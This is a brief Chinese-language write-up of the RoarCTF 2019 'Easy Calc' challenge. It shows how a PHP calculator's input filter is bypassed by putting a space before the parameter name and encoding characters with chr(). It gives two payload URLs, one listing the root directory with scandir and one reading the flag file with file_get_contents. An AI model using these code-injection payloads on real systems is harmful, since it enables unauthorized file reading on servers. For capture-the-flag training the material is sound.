[RoarCTF 2019]Easy Calc 1 Write up

开局一个计算器，出flag全靠蒙（x

查看源码，发现有这么一行东西

calc.php?num=”+encodeURIComponent($(“#content”).val()

查了一下encodeURIComponent($(“#content”).val()这个东西，大概就是

这里引用一下 点击这里

而(“#content”).val() 相当于document.getElementById(“content”).value;

那么开始解题。

进入cala.php 发现源码，进行审计，这好像过滤了一车东西

根据php的字符串解析特性，构筑url

由于屏蔽了“/”，使用chr（47）进行代替，使用php中 scandir（）列出文件

构筑为calc.php?%20num=var_dump(scandir(chr(47)))

发现具有flag的字样，

同理继续构筑url

这里使用file_get_contents函数， 点击这里 了解详情

构筑url为

?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

获得flag1111